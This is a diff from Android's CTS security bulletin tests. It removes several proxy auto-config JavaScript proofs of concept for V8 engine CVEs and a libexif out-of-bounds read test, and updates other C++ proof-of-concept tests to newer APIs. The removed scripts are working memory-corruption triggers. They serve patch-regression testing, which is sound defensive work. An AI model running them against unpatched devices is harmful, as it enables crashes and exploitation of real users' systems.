- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-function FindProxyForURL(url, host){
-    opttest();
-    opttest();
-    opttest();
-    opttest();
-    opttest();
-    opttest();
-    opttest();
-    opttest();
-    return "DIRECT";
-}
-
-function maxstring() {
-  // force TurboFan
-  try {} finally {}
-
-  var i = 'A'.repeat(2**28 - 16).indexOf("", 2**28);
-  i += 16; 
-  i >>= 28; 
-  i *= 1000000;
-  //i *= 3;
-  if (i >= 3) {
-    return 0;
-  } else {
-    var arr = [0.1, 0.2, 0.3, 0.4];
-    return arr[i];
-  }
-}
-
-function opttest() {
-  for (var j = 0; j < 100000; j++) {
-    var o = maxstring();
-    if (o == 0 || o == undefined) {
-      continue;
-    }
-    console.log(o);
-    return o;
-  }
-}
-
diff --git a/hostsidetests/securitybulletin/res/CVE-2019-2047.pac b/hostsidetests/securitybulletin/res/CVE-2019-2047.pac
deleted file mode 100644
index b70e24a..0000000
--- a/hostsidetests/securitybulletin/res/CVE-2019-2047.pac
+++ /dev/null
@@ -1,59 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-function FindProxyForURL(url, host){
-    for(var i = 0;i<0x10000;i++){
-        change_elements_kind(x);
-    }
-
-    for(var i = 0;i<0x10000;i++){
-        write_as_unboxed();
-    }
-
-    change_elements_kind(evil);
-
-    write_as_unboxed();
-
-    try{
-        evil[0].x;
-    }catch(e){
-    }
-    return "DIRECT";
-}
-
-function change_elements_kind(a){
-    a[0] = Array;
-}
-function read_as_unboxed(){
-    return evil[0];
-}
-
-function write_as_unboxed(){
-    evil[0] = 2.37341197482723178190425716704E-308; //0x00111111 00111111
-}
-
-change_elements_kind({});
-
-var map_manipulator = new Array(1.0,2.3);
-map_manipulator.x = 7;
-change_elements_kind(map_manipulator);
-
-map_manipulator.x = {};
-
-var evil = new Array(1.1,2.2);
-evil.x = {};
-
-var x = new Array({});
diff --git a/hostsidetests/securitybulletin/res/CVE-2019-2051.pac b/hostsidetests/securitybulletin/res/CVE-2019-2051.pac
deleted file mode 100644
index b24b160..0000000
--- a/hostsidetests/securitybulletin/res/CVE-2019-2051.pac
+++ /dev/null
@@ -1,21 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-function FindProxyForURL(url, host){
-    this.__defineGetter__("x", (a = (function f() { return; (function() {}); })()) => { });
-    x;
-    return "DIRECT";
-}
diff --git a/hostsidetests/securitybulletin/res/CVE-2019-2052.pac b/hostsidetests/securitybulletin/res/CVE-2019-2052.pac
deleted file mode 100644
index 670e870..0000000
--- a/hostsidetests/securitybulletin/res/CVE-2019-2052.pac
+++ /dev/null
@@ -1,48 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-function FindProxyForURL(url, host){
-    for(var i = 0;i < 0x1000;i++){
-        tt();
-    }
-
-    return "DIRECT";
-}
-
-function tt(){
-    var evil_o = {};
-    var reg = /abc/y;
-    var num = {};
-    num.toString = function(){
-	    change_to_dict();
-	    return 0x0;
-    }
-
-
-    function change_to_dict(){
-	    for(var i = 0;i < 0x100;i++){
-		    reg["a"+i.toString(16)] = i;
-	    }
-    }
-
-    evil_o.toString = function(){
-	    //change_to_dict();
-	    reg.lastIndex = num;
-	    return "abc".repeat(0x1000);
-    }
-
-    String.prototype.replace.call(evil_o,reg,function(){});
-}
diff --git a/hostsidetests/securitybulletin/res/CVE-2019-2097.pac b/hostsidetests/securitybulletin/res/CVE-2019-2097.pac
deleted file mode 100644
index 4880f54..0000000
--- a/hostsidetests/securitybulletin/res/CVE-2019-2097.pac
+++ /dev/null
@@ -1,38 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-function FindProxyForURL(url, host){
-    for (var  i = 0; i < 0x10000; i++){
-        f();
-    }
-    array[0] = double_arr;
-    f();
-    try {
-    double_arr[1].x;
-    }catch(e){}
-    return "DIRECT";
-}
-
-var double_arr = [1.1, 2.2];
-var array = [[0.1],[0.1],[0.1]];
-
-function f(){
-    double_arr[0] = 3.3;
-    for(var i = 0; i < array.length; i++){
-        array[i][0] = {"abcd":0x4321};
-    }
-    double_arr[1] = 6.176516726456e-312;
-}
diff --git a/hostsidetests/securitybulletin/res/CVE-2019-2130.pac b/hostsidetests/securitybulletin/res/CVE-2019-2130.pac
deleted file mode 100644
index 77a0cb5..0000000
--- a/hostsidetests/securitybulletin/res/CVE-2019-2130.pac
+++ /dev/null
@@ -1,37 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-function FindProxyForURL(url, host){
-    function opt() {
-        opt['x'] = 1.1;
-        try {
-            Object.create(object);
-        } catch (e) {
-        }
-
-        for (let i = 0; i < 100000; i++) {
-
-        }
-    }
-
-    opt();
-    object = opt;
-    opt();
-
-    return "DIRECT";
-}
-
-var object;
diff --git a/hostsidetests/securitybulletin/res/bug_138441919.pac b/hostsidetests/securitybulletin/res/bug_138441919.pac
deleted file mode 100644
index 006fb6a..0000000
--- a/hostsidetests/securitybulletin/res/bug_138441919.pac
+++ /dev/null
@@ -1,22 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-function FindProxyForURL(url, host){
-    Object.defineProperty(Promise, Symbol.species, { value: 0 });
-    var p = new Promise(function() {});
-    p.then();
-    return "DIRECT";
-}
diff --git a/hostsidetests/securitybulletin/res/bug_139806216.pac b/hostsidetests/securitybulletin/res/bug_139806216.pac
deleted file mode 100644
index 256108d..0000000
--- a/hostsidetests/securitybulletin/res/bug_139806216.pac
+++ /dev/null
@@ -1,20 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-function FindProxyForURL(url, host){
-    var x = new ArrayBuffer(1);
-    return "DIRECT";
-}
diff --git a/hostsidetests/securitybulletin/res/cve_2016_6328.mp4 b/hostsidetests/securitybulletin/res/cve_2016_6328.mp4
deleted file mode 100644
index 8813ef6..0000000
--- a/hostsidetests/securitybulletin/res/cve_2016_6328.mp4
+++ /dev/null
Binary files differ
diff --git a/hostsidetests/securitybulletin/res/cve_2019_2046.pac b/hostsidetests/securitybulletin/res/cve_2019_2046.pac
deleted file mode 100644
index 82ef431..0000000
--- a/hostsidetests/securitybulletin/res/cve_2019_2046.pac
+++ /dev/null
@@ -1,27 +0,0 @@
-function FindProxyForURL(url, host){
-    const f = eval(`(function f(i) {
-        if (i == 0) {
-            class Derived extends Object {
-                constructor() {
-                    super();
-                    ${"this.a=1;".repeat(0x3fffe-8)}
-                }
-            }
-
-            return Derived;
-        }
-
-        class DerivedN extends f(i-1) {
-            constructor() {
-                super();
-                ${"this.a=1;".repeat(0x40000-8)}
-            }
-        }
-
-        return DerivedN;
-    })`);
-
-    let a = new (f(0x7ff))();
-    a;
-    return "DIRECT";
-}
diff --git a/hostsidetests/securitybulletin/res/cve_2020_0224.pac b/hostsidetests/securitybulletin/res/cve_2020_0224.pac
deleted file mode 100644
index 6b8f689..0000000
--- a/hostsidetests/securitybulletin/res/cve_2020_0224.pac
+++ /dev/null
@@ -1,74 +0,0 @@
-/*
- * Copyright (C) 2021 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-function gc() {
-    for (let i = 0; i < 0x10; i++)
-        new ArrayBuffer(0x800000);
-}
-function to_dict(obj) {
-obj.__defineGetter__('x',()=>2);
-obj.__defineGetter__('x',()=>2);
-}
-function fk() {
-rgx = null;
-dbl_arr = [1.1, 2.2, 3.3, 4.4];
-o = {};
-o.__defineGetter__("length", ()=> {
-            rgx = new RegExp(/AAAAAAAA/y);
-            return 2;
-        });
-o[0] = "aaaa";
-o.__defineGetter__(1, ()=> {
-            for (let i=0;i<8;i++) dbl_arr.push(5.5);
-
-            let cnt = 0;
-            rgx[Symbol.replace]("AAAAAAAA", {
-                        toString: ()=> {
-                            cnt++;
-                            if (cnt == 2) {
-                                rgx.lastIndex = {valueOf: ()=> {
-                                        to_dict(rgx);
-                                        gc();
-                                        return 0;
-                                    }};
-
-                            }
-
-                            return 'BBBB$';
-                        }
-                    });
-            return "bbbb";
-        });
-p = new Proxy( {}, {
-            ownKeys: function(target) {
-                return o;
-            },
-            getOwnPropertyDescriptor(target, prop) {
-                return {configurable: true, enumerable: true, value: 5};
-            }
-        });
-
-Object.keys(p);
-alert (dbl_arr[0]);
-if (dbl_arr[0] == 1.1) {
-    fail("failed to corrupt dbl_arr");
-}
-}
-
-function FindProxyForURL(url, host) {
-fk();
-return "DIRECT";
-}
diff --git a/hostsidetests/securitybulletin/res/cve_2020_0240.pac b/hostsidetests/securitybulletin/res/cve_2020_0240.pac
deleted file mode 100644
index 677120e..0000000
--- a/hostsidetests/securitybulletin/res/cve_2020_0240.pac
+++ /dev/null
@@ -1,27 +0,0 @@
-/*
- * Copyright (C) 2021 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-function FindProxyForURL(url, host){
-array = [];
-array.length = 0xffffffff;
-
-b = array.fill(1.1, 0, {valueOf() {
-  array.length = 32;
-  array.fill(1.1);
-  return 0x80000000;
-}});
-return "DIRECT";
-}
diff --git a/hostsidetests/securitybulletin/res/cve_2021_0393.pac b/hostsidetests/securitybulletin/res/cve_2021_0393.pac
deleted file mode 100644
index 42038b61..0000000
--- a/hostsidetests/securitybulletin/res/cve_2021_0393.pac
+++ /dev/null
@@ -1,22 +0,0 @@
-/*
- * Copyright (C) 2021 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-function FindProxyForURL(url, host) {
-    let s = String.fromCharCode(0x4141).repeat(0x10000001) + "A";
-    s = "'" + s + "'";
-    eval(s);
-    return "DIRECT";
-}
diff --git a/hostsidetests/securitybulletin/res/cve_2021_0396.pac b/hostsidetests/securitybulletin/res/cve_2021_0396.pac
deleted file mode 100644
index 5677445..0000000
--- a/hostsidetests/securitybulletin/res/cve_2021_0396.pac
+++ /dev/null
@@ -1,23 +0,0 @@
-/*
- * Copyright (C) 2021 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-function FindProxyForURL(url, host){
-    var evil_call = eval("(function(" + Array(65535).fill("x").join(",") + "){})");
-    f(evil_call());
-    return "DIRECT";
-}
-
-function f(){}
diff --git a/hostsidetests/securitybulletin/securityPatch/Bug-115739809/poc.cpp b/hostsidetests/securitybulletin/securityPatch/Bug-115739809/poc.cpp
index 1a7e5b6..adbde0f 100755
--- a/hostsidetests/securitybulletin/securityPatch/Bug-115739809/poc.cpp
+++ b/hostsidetests/securitybulletin/securityPatch/Bug-115739809/poc.cpp
@@ -43,12 +43,11 @@
 
     // Write the header
     outMsg->header.type = msg.header.type;
+    outMsg->header.seq = msg.header.seq;
 
     // Write the body
     switch(msg.header.type) {
         case InputMessage::Type::KEY: {
-            // uint32_t seq
-            outMsg->body.key.seq = msg.body.key.seq;
             // int32_t eventId
             outMsg->body.key.eventId = msg.body.key.eventId;
             // nsecs_t eventTime
@@ -78,8 +77,6 @@
             break;
         }
         case InputMessage::Type::MOTION: {
-            // uint32_t seq
-            outMsg->body.motion.seq = msg.body.motion.seq;
             // int32_t eventId
             outMsg->body.motion.eventId = msg.body.key.eventId;
             // nsecs_t eventTime
@@ -108,14 +105,18 @@
             outMsg->body.motion.edgeFlags = msg.body.motion.edgeFlags;
             // nsecs_t downTime
             outMsg->body.motion.downTime = msg.body.motion.downTime;
-            // float xScale
-            outMsg->body.motion.xScale = msg.body.motion.xScale;
-            // float yScale
-            outMsg->body.motion.yScale = msg.body.motion.yScale;
-            // float xOffset
-            outMsg->body.motion.xOffset = msg.body.motion.xOffset;
-            // float yOffset
-            outMsg->body.motion.yOffset = msg.body.motion.yOffset;
+            // float dsdx
+            outMsg->body.motion.dsdx = msg.body.motion.dsdx;
+            // float dtdx
+            outMsg->body.motion.dtdx = msg.body.motion.dtdx;
+            // float dtdy
+            outMsg->body.motion.dtdy = msg.body.motion.dtdy;
+            // float dsdy
+            outMsg->body.motion.dsdy = msg.body.motion.dsdy;
+            // float tx
+            outMsg->body.motion.tx = msg.body.motion.tx;
+            // float ty
+            outMsg->body.motion.ty = msg.body.motion.ty;
             // float xPrecision
             outMsg->body.motion.xPrecision = msg.body.motion.xPrecision;
             // float yPrecision
@@ -144,40 +145,67 @@
             break;
         }
         case InputMessage::Type::FINISHED: {
-            outMsg->body.finished.seq = msg.body.finished.seq;
             outMsg->body.finished.handled = msg.body.finished.handled;
+            outMsg->body.finished.consumeTime = msg.body.finished.consumeTime;
             break;
         }
         case InputMessage::Type::FOCUS: {
-            outMsg->body.focus.seq = msg.body.focus.seq;
             outMsg->body.focus.eventId = msg.body.focus.eventId;
             outMsg->body.focus.hasFocus = msg.body.focus.hasFocus;
             outMsg->body.focus.inTouchMode = msg.body.focus.inTouchMode;
             break;
         }
+        case InputMessage::Type::CAPTURE: {
+            outMsg->body.capture.eventId = msg.body.capture.eventId;
+            outMsg->body.capture.pointerCaptureEnabled = msg.body.capture.pointerCaptureEnabled;
+            break;
+        }
+        case InputMessage::Type::DRAG: {
+            outMsg->body.capture.eventId = msg.body.capture.eventId;
+            outMsg->body.drag.isExiting = msg.body.drag.isExiting;
+            outMsg->body.drag.x = msg.body.drag.x;
+            outMsg->body.drag.y = msg.body.drag.y;
+            break;
+        }
+        case InputMessage::Type::TIMELINE: {
+            outMsg->body.timeline.eventId = msg.body.timeline.eventId;
+            outMsg->body.timeline.graphicsTimeline = msg.body.timeline.graphicsTimeline;
+            break;
+        }
+    }
+}
+
+static void makeMessageValid(InputMessage& msg) {
+    InputMessage::Type type = msg.header.type;
+    if (type == InputMessage::Type::MOTION) {
+        // Message is considered invalid if it has more than MAX_POINTERS pointers.
+        msg.body.motion.pointerCount = MAX_POINTERS;
+    }
+    if (type == InputMessage::Type::TIMELINE) {
+        // Message is considered invalid if presentTime <= gpuCompletedTime
+        msg.body.timeline.graphicsTimeline[GraphicsTimeline::GPU_COMPLETED_TIME] = 10;
+        msg.body.timeline.graphicsTimeline[GraphicsTimeline::PRESENT_TIME] = 20;
     }
 }
 
 /**
  * Return false if vulnerability is found for a given message type
  */
-static bool checkMessage(sp<InputChannel> server, sp<InputChannel> client, InputMessage::Type type) {
+static bool checkMessage(InputChannel& server, InputChannel& client, InputMessage::Type type) {
     InputMessage serverMsg;
     // Set all potentially uninitialized bytes to 1, for easier comparison
 
     memset(&serverMsg, 1, sizeof(serverMsg));
     serverMsg.header.type = type;
-    if (type == InputMessage::Type::MOTION) {
-        serverMsg.body.motion.pointerCount = MAX_POINTERS;
-    }
-    status_t result = server->sendMessage(&serverMsg);
+    makeMessageValid(serverMsg);
+    status_t result = server.sendMessage(&serverMsg);
     if (result != OK) {
         ALOGE("Could not send message to the input channel");
         return false;
     }
 
     InputMessage clientMsg;
-    result = client->receiveMessage(&clientMsg);
+    result = client.receiveMessage(&clientMsg);
     if (result != OK) {
         ALOGE("Could not receive message from the input channel");
         return false;
@@ -187,11 +215,6 @@
         return false;
     }
 
-    if (clientMsg.header.padding != 0) {
-        ALOGE("Found padding to be uninitialized");
-        return false;
-    }
-
     InputMessage sanitizedClientMsg;
     sanitizeMessage(clientMsg, &sanitizedClientMsg);
     if (memcmp(&clientMsg, &sanitizedClientMsg, clientMsg.size()) != 0) {
@@ -213,7 +236,7 @@
  * Do this for all message types
  */
 int main() {
-    sp<InputChannel> server, client;
+    std::unique_ptr<InputChannel> server, client;
 
     status_t result = InputChannel::openInputChannelPair("channel name", server, client);
     if (result != OK) {
@@ -222,13 +245,12 @@
     }
 
     InputMessage::Type types[] = {
-        InputMessage::Type::KEY,
-        InputMessage::Type::MOTION,
-        InputMessage::Type::FINISHED,
-        InputMessage::Type::FOCUS,
+            InputMessage::Type::KEY,      InputMessage::Type::MOTION,  InputMessage::Type::FINISHED,
+            InputMessage::Type::FOCUS,    InputMessage::Type::CAPTURE, InputMessage::Type::DRAG,
+            InputMessage::Type::TIMELINE,
     };
     for (InputMessage::Type type : types) {
-        bool success = checkMessage(server, client, type);
+        bool success = checkMessage(*server, *client, type);
         if (!success) {
             ALOGE("Check message failed for type %i", type);
             return EXIT_VULNERABLE;
@@ -237,4 +259,3 @@
 
     return 0;
 }
-
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-2460/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2460/Android.bp
index d1c9c15..c58b94d 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-2460/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2460/Android.bp
@@ -28,6 +28,7 @@
         "liblog",
         "libmedia",
         "libgui",
+        "media_permission-aidl-cpp",
     ],
     ldflags: [
         "-fPIE",
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-2460/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2460/poc.cpp
index 83a5cf3..ba4c01b 100755
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-2460/poc.cpp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2460/poc.cpp
@@ -14,6 +14,7 @@
 * limitations under the License.
 */
 
+#include <android/media/permission/Identity.h>
 #include <binder/IServiceManager.h>
 #include <binder/Parcel.h>
 #include <fcntl.h>
@@ -37,8 +38,10 @@
   sp<IMediaPlayerService> iMPService =
       IMediaPlayerService::asInterface(MeidaPlayerService);
   ALOGI("Get iMPService instance, 0x%08lx\n", (unsigned long)iMPService.get());
-  sp<IMediaRecorder> recorder =
-      iMPService->createMediaRecorder(String16("poc"));
+  media::permission::Identity identity;
+  identity.packageName = "poc";
+
+  sp<IMediaRecorder> recorder = iMPService->createMediaRecorder(identity);
   ALOGI("Get recorder instance, 0x%08lx\n", (unsigned long)recorder.get());
 
   const char *fileName = "/sdcard/test";
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-3913/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-3913/Android.bp
index 2a633da..f41f66d 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-3913/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-3913/Android.bp
@@ -24,6 +24,7 @@
         "libbinder",
         "libutils",
         "libmedia",
+        "media_permission-aidl-cpp",
     ],
     cppflags: [
         "-Wno-unused-parameter",
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-6328/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-6328/Android.bp
deleted file mode 100644
index a5df811..0000000
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-6328/Android.bp
+++ /dev/null
@@ -1,32 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at:
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- *
- */
-
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
-cc_test {
-    name: "CVE-2016-6328",
-    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
-    srcs: [
-        "poc.c",
-    ],
-    shared_libs: [
-        "libexif",
-    ],
-    compile_multilib: "32",
-}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-6328/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2016-6328/poc.c
deleted file mode 100644
index 366dd0b..0000000
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-6328/poc.c
+++ /dev/null
@@ -1,78 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-#include <stdlib.h>
-#include <sys/mman.h>
-#include <unistd.h>
-#include "../includes/common.h"
-#include "libexif/exif-data.h"
-#include "libexif/pentax/exif-mnote-data-pentax.h"
-
-#define NUM_PAGES 2
-#define VULNERABLE_ENTRY_INDEX 6
-#define VALUE_SIZE 1024
-
-int main(int argc, char **argv) {
-    if (argc < 2) {
-        return EXIT_FAILURE;
-    }
-
-    ExifData *exifData = exif_data_new_from_file(argv[1]);
-    if (!exifData) {
-        return EXIT_FAILURE;
-    }
-
-    ExifMnoteData *mData = exif_data_get_mnote_data(exifData);
-    if (!mData) {
-        exif_data_unref(exifData);
-        return EXIT_FAILURE;
-    }
-
-    ExifMnoteDataPentax *mDataPentax = (ExifMnoteDataPentax *)mData;
-    if (!mDataPentax) {
-        exif_data_unref(exifData);
-        return EXIT_FAILURE;
-    }
-
-    MnotePentaxEntry *entry = &mDataPentax->entries[VULNERABLE_ENTRY_INDEX];
-    if (!entry) {
-        exif_data_unref(exifData);
-        return EXIT_FAILURE;
-    }
-
-    size_t page_size = getpagesize();
-    size_t num_pages = NUM_PAGES;
-    size_t total_size = page_size * num_pages;
-    unsigned char *start_ptr = (unsigned char *)memalign(page_size, total_size);
-    if (!start_ptr) {
-        exif_data_unref(exifData);
-        return EXIT_FAILURE;
-    }
-    unsigned char *mem_ptr = start_ptr + ((num_pages - 1) * page_size);
-    mprotect(mem_ptr, page_size, PROT_NONE);
-
-    unsigned char *prev_ptr = entry->data;
-    entry->data = mem_ptr;
-    entry->size = 0;
-
-    char value[VALUE_SIZE];
-    exif_mnote_data_get_value(mData, VULNERABLE_ENTRY_INDEX, value, sizeof(value));
-
-    entry->data = prev_ptr;
-    free(start_ptr);
-    exif_data_unref(exifData);
-    return EXIT_SUCCESS;
-}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8332/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8332/Android.bp
index cb2f6bd..382d629 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8332/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8332/Android.bp
@@ -28,8 +28,8 @@
     cflags: [
         "-DCHECK_OVERFLOW",
     ],
-    shared_libs: [
-        "libpdfium",
+    static_libs: [
+        "libpdfium-libopenjpeg2",
     ],
     include_dirs: [
         "external/pdfium/third_party/libopenjpeg20",
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0479/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0479/Android.bp
index 71e9361..ebac024 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0479/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0479/Android.bp
@@ -21,11 +21,15 @@
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
     srcs: ["poc.cpp"],
     shared_libs: [
+        "audioclient-types-aidl-cpp",
+        "audioflinger-aidl-cpp",
         "libmedia",
         "libutils",
         "libbinder",
         "libandroid",
         "libaudioclient",
+        "libaudioclient_aidl_conversion",
         "libaudiofoundation",
+        "media_permission-aidl-cpp",
     ],
 }
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0479/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0479/poc.cpp
index d9acb35..1edc8f7 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0479/poc.cpp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0479/poc.cpp
@@ -16,23 +16,33 @@
 #include <sys/types.h>
 #include <sys/wait.h>
 #include <stdlib.h>
-#include <media/AudioSystem.h>
+
+#include <android/media/BnEffectClient.h>
+#include <android/media/IEffect.h>
+#include <android/media/permission/Identity.h>
 #include <hardware/audio_effect.h>
+#include <media/AidlConversion.h>
+#include <media/AudioSystem.h>
 #include <media/IAudioFlinger.h>
-#include <media/IEffect.h>
-#include <media/IEffectClient.h>
 
 using namespace android;
+using media::IEffect;
 
-struct EffectClient : public android::BnEffectClient {
+struct EffectClient : public media::BnEffectClient {
   EffectClient() {}
-  virtual void controlStatusChanged(bool controlGranted __unused) {}
-  virtual void enableStatusChanged(bool enabled __unused) {}
-  virtual void commandExecuted(uint32_t cmdCode __unused,
-                               uint32_t cmdSize __unused,
-                               void *pCmdData __unused,
-                               uint32_t replySize __unused,
-                               void *pReplyData __unused) {}
+  virtual binder::Status controlStatusChanged(bool controlGranted __unused) {
+    return binder::Status::ok();
+  }
+
+  virtual binder::Status enableStatusChanged(bool enabled __unused) {
+    return binder::Status::ok();
+  }
+
+  virtual binder::Status commandExecuted(int32_t cmdCode __unused,
+      const std::vector<uint8_t>& cmdData __unused,
+      const std::vector<uint8_t>& replyData __unused) {
+    return binder::Status::ok();
+  }
 };
 
 sp<IEffect> gEffect;
@@ -58,35 +68,56 @@
   const int32_t priority = 0;
   audio_session_t sessionId = (audio_session_t)(128);
   const audio_io_handle_t io = AUDIO_IO_HANDLE_NONE;
-  const String16 opPackageName("com.exp.poc");
+  const std::string opPackageName("com.exp.poc");
   int32_t id;
   int i, enabled;
   status_t err;
 
